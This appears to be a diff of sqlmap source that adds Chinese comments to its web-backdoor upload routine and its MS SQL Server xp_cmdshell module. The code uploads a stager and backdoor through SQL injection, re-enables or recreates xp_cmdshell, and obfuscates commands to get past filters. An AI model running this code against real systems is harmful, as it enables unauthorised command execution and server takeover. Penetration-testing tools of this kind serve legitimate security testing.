if not kb.absFilePaths: if not kb.absFilePaths:
message = "do you want sqlmap to further try to " message = "do you want sqlmap to further try to "
message += "provoke the full path disclosure? [Y/n] " message += "provoke the full path disclosure? [Y/n] "
@ -219,6 +283,7 @@ class Web(object):
headers = {} headers = {}
been = set([conf.url]) been = set([conf.url])
# 尝试访问WordPress相关路径
for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I): for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I):
url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php") url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php")
if url not in been: if url not in been:
@ -230,6 +295,7 @@ class Web(object):
finally: finally:
been.add(url) been.add(url)
# 尝试访问带~的URL
url = re.sub(r"(\.\w+)\Z", r"~\g<1>", conf.url) url = re.sub(r"(\.\w+)\Z", r"~\g<1>", conf.url)
if url not in been: if url not in been:
try: try:
@ -240,6 +306,7 @@ class Web(object):
finally: finally:
been.add(url) been.add(url)
# 尝试不同的参数注入方式
for place in (PLACE.GET, PLACE.POST): for place in (PLACE.GET, PLACE.POST):
if place in conf.parameters: if place in conf.parameters:
value = re.sub(r"(\A|&)(\w+)=", r"\g<2>[]=", conf.parameters[place]) value = re.sub(r"(\A|&)(\w+)=", r"\g<2>[]=", conf.parameters[place])
@ -247,6 +314,7 @@ class Web(object):
page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False) page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page) parseFilePaths(page)
# 尝试Cookie注入
cookie = None cookie = None
if PLACE.COOKIE in conf.parameters: if PLACE.COOKIE in conf.parameters:
cookie = conf.parameters[PLACE.COOKIE] cookie = conf.parameters[PLACE.COOKIE]
@ -264,10 +332,12 @@ class Web(object):
page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False) page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
parseFilePaths(page) parseFilePaths(page)
# 获取可能的目标目录列表
directories = list(arrayizeValue(getManualDirectories())) directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories()) directories.extend(getAutoDirectories())
directories = list(OrderedSet(directories)) directories = list(OrderedSet(directories))
# 处理URL路径
path = _urllib.parse.urlparse(conf.url).path or '/' path = _urllib.parse.urlparse(conf.url).path or '/'
path = re.sub(r"/[^/]*\.\w+\Z", '/', path) path = re.sub(r"/[^/]*\.\w+\Z", '/', path)
if path != '/': if path != '/':
@ -278,33 +348,39 @@ class Web(object):
_.append("%s/%s" % (directory.rstrip('/'), path.strip('/'))) _.append("%s/%s" % (directory.rstrip('/'), path.strip('/')))
directories = _ directories = _
# 生成后门文件名和内容
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webPlatform) backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webPlatform)
backdoorContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webPlatform))) backdoorContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webPlatform)))
# 获取文件上传器内容
stagerContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform))) stagerContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform)))
# 遍历目录尝试上传后门
for directory in directories: for directory in directories:
if not directory: if not directory:
continue continue
# 生成上传器文件名和路径
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform) stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
uploaded = False uploaded = False
directory = ntToPosixSlashes(normalizePath(directory)) directory = ntToPosixSlashes(normalizePath(directory))
# 规范化目录路径
if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'): if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'):
directory = "/%s" % directory directory = "/%s" % directory
if not directory.endswith('/'): if not directory.endswith('/'):
directory += '/' directory += '/'
# Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method # 尝试通过LIMIT方法上传文件上传器
infoMsg = "trying to upload the file stager on '%s' " % directory infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via LIMIT 'LINES TERMINATED BY' method" infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
logger.info(infoMsg) logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory) self._webFileInject(stagerContent, stagerName, directory)
# 检查上传器是否可访问
for match in re.finditer('/', directory): for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName) self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName)
@ -318,7 +394,7 @@ class Web(object):
uploaded = True uploaded = True
break break
# Fall-back to UNION queries file upload method # 如果LIMIT方法失败,尝试使用UNION查询方法
if not uploaded: if not uploaded:
warnMsg = "unable to upload the file stager " warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory warnMsg += "on '%s'" % directory
@ -332,16 +408,20 @@ class Web(object):
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform) stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webPlatform)
self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName) self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
# 创建临时文件
handle, filename = tempfile.mkstemp() handle, filename = tempfile.mkstemp()
os.close(handle) os.close(handle)
# 写入上传器内容
with openFile(filename, "w+b") as f: with openFile(filename, "w+b") as f:
_ = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform))) _ = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform)))
_ = _.replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) _ = _.replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
f.write(_) f.write(_)
# 通过UNION查询上传文件
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
# 检查上传器是否可访问
for match in re.finditer('/', directory): for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')) self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName) self.webStagerUrl = _urllib.parse.urljoin(self.webBaseUrl, stagerName)
@ -359,12 +439,14 @@ class Web(object):
if not uploaded: if not uploaded:
continue continue
# 检查上传器是否被正确解释执行
if "<%" in uplPage or "<?" in uplPage: if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % directory warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted" warnMsg += "but not dynamically interpreted"
logger.warning(warnMsg) logger.warning(warnMsg)
continue continue
# 处理ASP.NET特殊参数
elif self.webPlatform == WEB_PLATFORM.ASPX: elif self.webPlatform == WEB_PLATFORM.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage) kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage) kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
@ -373,6 +455,7 @@ class Web(object):
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl) infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg) logger.info(infoMsg)
# 处理ASP平台特殊情况
if self.webPlatform == WEB_PLATFORM.ASP: if self.webPlatform == WEB_PLATFORM.ASP:
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage) match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
@ -381,6 +464,7 @@ class Web(object):
else: else:
continue continue
# 上传后门和命令执行组件
_ = "tmpe%s.exe" % randomStr(lowercase=True) _ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)): if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_")) self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
@ -390,6 +474,7 @@ class Web(object):
continue continue
else: else:
# 上传后门文件
if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent): if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded " warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because " warnMsg += "through the file stager possibly because "
@ -401,6 +486,7 @@ class Web(object):
warnMsg += "different servers" warnMsg += "different servers"
logger.warning(warnMsg) logger.warning(warnMsg)
# 询问是否使用相同方法重试
message = "do you want to try the same method used " message = "do you want to try the same method used "
message += "for the file stager? [Y/n] " message += "for the file stager? [Y/n] "
@ -414,6 +500,7 @@ class Web(object):
self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName) self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)
# 测试后门是否可用
testStr = "command execution test" testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr) output = self.webBackdoorRunCmd("echo %s" % testStr)

@ -5,76 +5,109 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
from lib.core.agent import agent # 导入所需的模块和函数
from lib.core.common import Backend from lib.core.agent import agent # 导入agent模块,用于执行SQL命令
from lib.core.common import flattenValue from lib.core.common import Backend # 导入Backend模块,用于获取数据库后端信息
from lib.core.common import getLimitRange from lib.core.common import flattenValue # 导入flattenValue函数,用于将嵌套列表展平成一维列表
from lib.core.common import getSQLSnippet from lib.core.common import getLimitRange # 导入getLimitRange函数,用于获取分页查询的范围
from lib.core.common import hashDBWrite from lib.core.common import getSQLSnippet # 导入getSQLSnippet函数,用于获取预定义的SQL代码片段
from lib.core.common import isListLike from lib.core.common import hashDBWrite # 导入hashDBWrite函数,用于将数据写入哈希数据库
from lib.core.common import isNoneValue from lib.core.common import isListLike # 导入isListLike函数,用于判断对象是否类似列表
from lib.core.common import isNumPosStrValue from lib.core.common import isNoneValue # 导入isNoneValue函数,用于判断值是否为None
from lib.core.common import isTechniqueAvailable from lib.core.common import isNumPosStrValue # 导入isNumPosStrValue函数,用于判断字符串是否为正数
from lib.core.common import popValue from lib.core.common import isTechniqueAvailable # 导入isTechniqueAvailable函数,用于检查SQL注入技术是否可用
from lib.core.common import pushValue from lib.core.common import popValue # 导入popValue函数,用于从栈中弹出值
from lib.core.common import randomStr from lib.core.common import pushValue # 导入pushValue函数,用于将值压入栈
from lib.core.common import readInput from lib.core.common import randomStr # 导入randomStr函数,用于生成随机字符串
from lib.core.common import wasLastResponseDelayed from lib.core.common import readInput # 导入readInput函数,用于读取用户输入
from lib.core.compat import xrange from lib.core.common import wasLastResponseDelayed # 导入wasLastResponseDelayed函数,用于检查上次响应是否有延迟
from lib.core.convert import encodeHex from lib.core.compat import xrange # 导入xrange函数,用于兼容Python2和3的range函数
from lib.core.data import conf from lib.core.convert import encodeHex # 导入encodeHex函数,用于十六进制编码
from lib.core.data import kb from lib.core.data import conf # 导入conf模块,用于访问全局配置
from lib.core.data import logger from lib.core.data import kb # 导入kb模块,用于访问知识库
from lib.core.decorators import stackedmethod from lib.core.data import logger # 导入logger模块,用于日志记录
from lib.core.enums import CHARSET_TYPE from lib.core.decorators import stackedmethod # 导入stackedmethod装饰器,用于堆叠查询方法
from lib.core.enums import DBMS from lib.core.enums import CHARSET_TYPE # 导入CHARSET_TYPE枚举,定义字符集类型
from lib.core.enums import EXPECTED from lib.core.enums import DBMS # 导入DBMS枚举,定义数据库类型
from lib.core.enums import HASHDB_KEYS from lib.core.enums import EXPECTED # 导入EXPECTED枚举,定义期望的返回类型
from lib.core.enums import PAYLOAD from lib.core.enums import HASHDB_KEYS # 导入HASHDB_KEYS枚举,定义哈希数据库的键
from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.enums import PAYLOAD # 导入PAYLOAD枚举,定义SQL注入的载荷类型
from lib.core.threads import getCurrentThreadData from lib.core.exception import SqlmapUnsupportedFeatureException # 导入异常类,用于不支持的功能
from lib.request import inject from lib.core.threads import getCurrentThreadData # 导入getCurrentThreadData函数,用于获取当前线程数据
from lib.request import inject # 导入inject模块,用于执行SQL注入
class XP_cmdshell(object): class XP_cmdshell(object):
""" """
This class defines methods to deal with Microsoft SQL Server 这个类用于处理Microsoft SQL Server的xp_cmdshell扩展存储过程
xp_cmdshell extended procedure for plugins. xp_cmdshell是SQL Server提供的一个系统存储过程,可以执行操作系统命令
该类提供了创建配置测试和执行xp_cmdshell的各种方法
""" """
def __init__(self): def __init__(self):
self.xpCmdshellStr = "master..xp_cmdshell" """
初始化XP_cmdshell类的实例
设置xp_cmdshell存储过程的默认名称为master..xp_cmdshell
"""
self.xpCmdshellStr = "master..xp_cmdshell" # 设置默认的xp_cmdshell存储过程名称
def _xpCmdshellCreate(self): def _xpCmdshellCreate(self):
"""
创建新的xp_cmdshell存储过程
当原始的xp_cmdshell被禁用时,可以创建一个新的具有相同功能的存储过程
主要步骤:
1. 对于非SQL Server 2000版本,需要先激活sp_OACreate
2. 生成随机字符串作为新存储过程名称的一部分
3. 执行创建存储过程的SQL命令
"""
cmd = "" cmd = ""
# 如果不是SQL Server 2000版本,需要先激活sp_OACreate
if not Backend.isVersionWithin(("2000",)): if not Backend.isVersionWithin(("2000",)):
logger.debug("activating sp_OACreate") logger.debug("激活sp_OACreate")
# 获取激活sp_OACreate的SQL代码片段
cmd = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate") cmd = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate")
inject.goStacked(agent.runAsDBMSUser(cmd)) inject.goStacked(agent.runAsDBMSUser(cmd))
self._randStr = randomStr(lowercase=True) # 生成随机字符串作为新存储过程的一部分
self.xpCmdshellStr = "master..new_xp_cmdshell" self._randStr = randomStr(lowercase=True) # 生成小写随机字符串
self.xpCmdshellStr = "master..new_xp_cmdshell" # 设置新的存储过程名称
# 获取创建新xp_cmdshell的SQL代码片段
cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self._randStr) cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self._randStr)
# 如果不是SQL Server 2000,需要重新配置
if not Backend.isVersionWithin(("2000",)): if not Backend.isVersionWithin(("2000",)):
cmd += ";RECONFIGURE WITH OVERRIDE" cmd += ";RECONFIGURE WITH OVERRIDE"
inject.goStacked(agent.runAsDBMSUser(cmd)) inject.goStacked(agent.runAsDBMSUser(cmd)) # 执行创建命令
def _xpCmdshellConfigure2005(self, mode): def _xpCmdshellConfigure2005(self, mode):
debugMsg = "configuring xp_cmdshell using sp_configure " """
debugMsg += "stored procedure" 配置SQL Server 2005及更高版本的xp_cmdshell
参数:
mode: 整数,1表示启用xp_cmdshell,0表示禁用
返回:
str: 配置xp_cmdshell的SQL命令
"""
debugMsg = "使用sp_configure存储过程配置xp_cmdshell"
logger.debug(debugMsg) logger.debug(debugMsg)
cmd = getSQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE=str(mode)) cmd = getSQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE=str(mode))
return cmd return cmd
def _xpCmdshellConfigure2000(self, mode): def _xpCmdshellConfigure2000(self, mode):
debugMsg = "configuring xp_cmdshell using sp_addextendedproc " """
debugMsg += "stored procedure" 配置SQL Server 2000版本的xp_cmdshell
参数:
mode: 整数,1表示启用xp_cmdshell,0表示禁用
返回:
str: 配置xp_cmdshell的SQL命令
"""
debugMsg = "使用sp_addextendedproc存储过程配置xp_cmdshell"
logger.debug(debugMsg) logger.debug(debugMsg)
if mode == 1: if mode == 1:
@ -85,68 +118,97 @@ class XP_cmdshell(object):
return cmd return cmd
def _xpCmdshellConfigure(self, mode): def _xpCmdshellConfigure(self, mode):
"""
根据SQL Server版本配置xp_cmdshell
会自动判断SQL Server版本并调用相应的配置方法
参数:
mode: 整数,1表示启用xp_cmdshell,0表示禁用
"""
if Backend.isVersionWithin(("2000",)): if Backend.isVersionWithin(("2000",)):
cmd = self._xpCmdshellConfigure2000(mode) cmd = self._xpCmdshellConfigure2000(mode) # SQL Server 2000版本
else: else:
cmd = self._xpCmdshellConfigure2005(mode) cmd = self._xpCmdshellConfigure2005(mode) # SQL Server 2005及以上版本
inject.goStacked(agent.runAsDBMSUser(cmd)) inject.goStacked(agent.runAsDBMSUser(cmd)) # 执行配置命令
def _xpCmdshellCheck(self): def _xpCmdshellCheck(self):
"""
检查xp_cmdshell是否可用
通过执行ping命令并检查响应延迟来测试xp_cmdshell的可用性
返回:
bool: True表示xp_cmdshell可用,False表示不可用
"""
# 使用ping命令测试,延迟时间为配置的时间的2倍
cmd = "ping -n %d 127.0.0.1" % (conf.timeSec * 2) cmd = "ping -n %d 127.0.0.1" % (conf.timeSec * 2)
self.xpCmdshellExecCmd(cmd) self.xpCmdshellExecCmd(cmd)
return wasLastResponseDelayed() return wasLastResponseDelayed() # 返回是否发生了预期的延迟
@stackedmethod @stackedmethod
def _xpCmdshellTest(self): def _xpCmdshellTest(self):
"""
测试xp_cmdshell的功能是否正常
通过执行简单的echo命令来验证xp_cmdshell是否能正常工作
同时检查是否有权限写入临时目录
"""
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
pushValue(threadData.disableStdOut) pushValue(threadData.disableStdOut)
threadData.disableStdOut = True threadData.disableStdOut = True
logger.info("testing if xp_cmdshell extended procedure is usable") logger.info("测试xp_cmdshell扩展存储过程是否可用")
output = self.xpCmdshellEvalCmd("echo 1") output = self.xpCmdshellEvalCmd("echo 1") # 执行测试命令
if output == "1": if output == "1":
logger.info("xp_cmdshell extended procedure is usable") logger.info("xp_cmdshell扩展存储过程可用")
elif isNoneValue(output) and conf.dbmsCred: elif isNoneValue(output) and conf.dbmsCred:
errMsg = "it seems that the temporary directory ('%s') used for " % self.getRemoteTempPath() errMsg = "似乎后端文件系统中用于存储控制台输出的临时目录('%s')" % self.getRemoteTempPath()
errMsg += "storing console output within the back-end file system " errMsg += "对DBMS进程没有写入权限。"
errMsg += "does not have writing permissions for the DBMS process. " errMsg += "建议您使用'--tmp-path'选项手动调整,"
errMsg += "You are advised to manually adjust it with option " errMsg += "否则将无法获取命令输出"
errMsg += "'--tmp-path' or you won't be able to retrieve "
errMsg += "the command(s) output"
logger.error(errMsg) logger.error(errMsg)
elif isNoneValue(output): elif isNoneValue(output):
logger.error("unable to retrieve xp_cmdshell output") logger.error("无法获取xp_cmdshell输出")
else: else:
logger.info("xp_cmdshell extended procedure is usable") logger.info("xp_cmdshell扩展存储过程可用")
threadData.disableStdOut = popValue() threadData.disableStdOut = popValue()
def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile): def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile):
echoedLines = [] """
cmd = "" 使用xp_cmdshell写入文件
charCounter = 0 通过echo命令将内容写入指定的文件
maxLen = 512
参数:
fileContent: 要写入的文件内容
tmpPath: 临时文件路径
randDestFile: 随机生成的目标文件名
"""
echoedLines = [] # 存储echo命令行
cmd = "" # 最终要执行的命令
charCounter = 0 # 字符计数器
maxLen = 512 # 单条命令最大长度
# 处理文件内容,转换为行列表
if isinstance(fileContent, (set, list, tuple)): if isinstance(fileContent, (set, list, tuple)):
lines = fileContent lines = fileContent
else: else:
lines = fileContent.split("\n") lines = fileContent.split("\n")
# 为每行内容创建echo命令
for line in lines: for line in lines:
echoedLine = "echo %s " % line echoedLine = "echo %s " % line
echoedLine += ">> \"%s\\%s\"" % (tmpPath, randDestFile) echoedLine += ">> \"%s\\%s\"" % (tmpPath, randDestFile)
echoedLines.append(echoedLine) echoedLines.append(echoedLine)
# 分批执行命令以避免命令过长
for echoedLine in echoedLines: for echoedLine in echoedLines:
cmd += "%s & " % echoedLine cmd += "%s & " % echoedLine
charCounter += len(echoedLine) charCounter += len(echoedLine)
if charCounter >= maxLen: if charCounter >= maxLen:
self.xpCmdshellExecCmd(cmd.rstrip(" & ")) self.xpCmdshellExecCmd(cmd.rstrip(" & "))
cmd = "" cmd = ""
charCounter = 0 charCounter = 0
@ -154,17 +216,23 @@ class XP_cmdshell(object):
self.xpCmdshellExecCmd(cmd.rstrip(" & ")) self.xpCmdshellExecCmd(cmd.rstrip(" & "))
def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None): def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None):
# When user provides DBMS credentials (with --dbms-cred) we need to """
# redirect the command standard output to a temporary file in order 构造xp_cmdshell命令
# to retrieve it afterwards 将要执行的命令封装成SQL语句
# NOTE: this does not need to be done when the command is 'del' to
# delete the temporary file 参数:
cmd: 要执行的命令
insertIntoTable: 存储结果的表名
返回:
str: 构造好的SQL命令
"""
# 当用户提供DBMS凭据时,需要将命令输出重定向到临时文件
if conf.dbmsCred and insertIntoTable: if conf.dbmsCred and insertIntoTable:
self.tmpFile = "%s/tmpc%s.txt" % (conf.tmpPath, randomStr(lowercase=True)) self.tmpFile = "%s/tmpc%s.txt" % (conf.tmpPath, randomStr(lowercase=True))
cmd = "%s > \"%s\"" % (cmd, self.tmpFile) cmd = "%s > \"%s\"" % (cmd, self.tmpFile)
# Obfuscate the command to execute, also useful to bypass filters # 混淆要执行的命令,也可用于绕过单引号过滤
# on single-quotes
self._randStr = randomStr(lowercase=True) self._randStr = randomStr(lowercase=True)
self._forgedCmd = "DECLARE @%s VARCHAR(8000);" % self._randStr self._forgedCmd = "DECLARE @%s VARCHAR(8000);" % self._randStr
@ -173,11 +241,7 @@ class XP_cmdshell(object):
except UnicodeError: except UnicodeError:
self._forgedCmd += "SET @%s='%s';" % (self._randStr, cmd) self._forgedCmd += "SET @%s='%s';" % (self._randStr, cmd)
# Insert the command standard output into a support table, # 将命令输出插入支持表'sqlmapoutput'
# 'sqlmapoutput', except when DBMS credentials are provided because
# it does not work unfortunately, BULK INSERT needs to be used to
# retrieve the output when OPENROWSET is used hence the redirection
# to a temporary file from above
if insertIntoTable and not conf.dbmsCred: if insertIntoTable and not conf.dbmsCred:
self._forgedCmd += "INSERT INTO %s(data) " % insertIntoTable self._forgedCmd += "INSERT INTO %s(data) " % insertIntoTable
@ -186,11 +250,34 @@ class XP_cmdshell(object):
return agent.runAsDBMSUser(self._forgedCmd) return agent.runAsDBMSUser(self._forgedCmd)
def xpCmdshellExecCmd(self, cmd, silent=False): def xpCmdshellExecCmd(self, cmd, silent=False):
"""
执行xp_cmdshell命令
参数:
cmd: 要执行的命令
silent: 是否静默执行,不显示输出
返回:
str: 命令执行结果
"""
return inject.goStacked(self.xpCmdshellForgeCmd(cmd), silent) return inject.goStacked(self.xpCmdshellForgeCmd(cmd), silent)
def xpCmdshellEvalCmd(self, cmd, first=None, last=None): def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
"""
评估并执行xp_cmdshell命令,处理输出结果
支持直接模式和通过表存储结果两种方式
参数:
cmd: 要执行的命令
first: 结果的起始位置
last: 结果的结束位置
返回:
str: 处理后的命令输出结果
"""
output = None output = None
# 直接模式执行
if conf.direct: if conf.direct:
output = self.xpCmdshellExecCmd(cmd) output = self.xpCmdshellExecCmd(cmd)
@ -205,21 +292,21 @@ class XP_cmdshell(object):
output = new_output output = new_output
else: else:
# 通过支持表执行命令
inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName)) inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName))
# When user provides DBMS credentials (with --dbms-cred), the # 处理DBMS凭据情况下的命令输出
# command standard output is redirected to a temporary file
# The file needs to be copied to the support table,
# 'sqlmapoutput'
if conf.dbmsCred: if conf.dbmsCred:
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, self.tmpFile, randomStr(10), randomStr(10))) inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, self.tmpFile, randomStr(10), randomStr(10)))
self.delRemoteFile(self.tmpFile) self.delRemoteFile(self.tmpFile)
query = "SELECT %s FROM %s ORDER BY id" % (self.tblField, self.cmdTblName) query = "SELECT %s FROM %s ORDER BY id" % (self.tblField, self.cmdTblName)
# 使用不同的技术获取输出
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
output = inject.getValue(query, resumeValue=False, blind=False, time=False) output = inject.getValue(query, resumeValue=False, blind=False, time=False)
# 如果没有输出,尝试分批获取
if (output is None) or len(output) == 0 or output[0] is None: if (output is None) or len(output) == 0 or output[0] is None:
output = [] output = []
count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
@ -229,8 +316,10 @@ class XP_cmdshell(object):
query = agent.limitQuery(index, query, self.tblField) query = agent.limitQuery(index, query, self.tblField)
output.append(inject.getValue(query, union=False, error=False, resumeValue=False)) output.append(inject.getValue(query, union=False, error=False, resumeValue=False))
# 清理支持表
inject.goStacked("DELETE FROM %s" % self.cmdTblName) inject.goStacked("DELETE FROM %s" % self.cmdTblName)
# 处理输出格式
if output and isListLike(output) and len(output) > 1: if output and isListLike(output) and len(output) > 1:
_ = "" _ = ""
lines = [line for line in flattenValue(output) if line is not None] lines = [line for line in flattenValue(output) if line is not None]
@ -246,57 +335,59 @@ class XP_cmdshell(object):
return output return output
def xpCmdshellInit(self): def xpCmdshellInit(self):
"""
初始化xp_cmdshell功能
主要步骤:
1. 检查xp_cmdshell是否可用
2. 如果不可用,尝试启用或创建新的xp_cmdshell
3. 创建支持表用于存储命令输出
4. 测试xp_cmdshell功能
"""
if not kb.xpCmdshellAvailable: if not kb.xpCmdshellAvailable:
infoMsg = "checking if xp_cmdshell extended procedure is " infoMsg = "检查xp_cmdshell扩展存储过程是否可用,请稍候.."
infoMsg += "available, please wait.."
logger.info(infoMsg) logger.info(infoMsg)
result = self._xpCmdshellCheck() result = self._xpCmdshellCheck()
if result: if result:
logger.info("xp_cmdshell extended procedure is available") logger.info("xp_cmdshell扩展存储过程可用")
kb.xpCmdshellAvailable = True kb.xpCmdshellAvailable = True
else: else:
message = "xp_cmdshell extended procedure does not seem to " message = "xp_cmdshell扩展存储过程似乎不可用。"
message += "be available. Do you want sqlmap to try to " message += "是否要让sqlmap尝试重新启用它? [Y/n] "
message += "re-enable it? [Y/n] "
if readInput(message, default='Y', boolean=True): if readInput(message, default='Y', boolean=True):
self._xpCmdshellConfigure(1) self._xpCmdshellConfigure(1)
if self._xpCmdshellCheck(): if self._xpCmdshellCheck():
logger.info("xp_cmdshell re-enabled successfully") logger.info("xp_cmdshell成功重新启用")
kb.xpCmdshellAvailable = True kb.xpCmdshellAvailable = True
else: else:
logger.warning("xp_cmdshell re-enabling failed") logger.warning("xp_cmdshell重新启用失败")
logger.info("creating xp_cmdshell with sp_OACreate") logger.info("使用sp_OACreate创建xp_cmdshell")
self._xpCmdshellConfigure(0) self._xpCmdshellConfigure(0)
self._xpCmdshellCreate() self._xpCmdshellCreate()
if self._xpCmdshellCheck(): if self._xpCmdshellCheck():
logger.info("xp_cmdshell created successfully") logger.info("xp_cmdshell创建成功")
kb.xpCmdshellAvailable = True kb.xpCmdshellAvailable = True
else: else:
warnMsg = "xp_cmdshell creation failed, probably " warnMsg = "xp_cmdshell创建失败,"
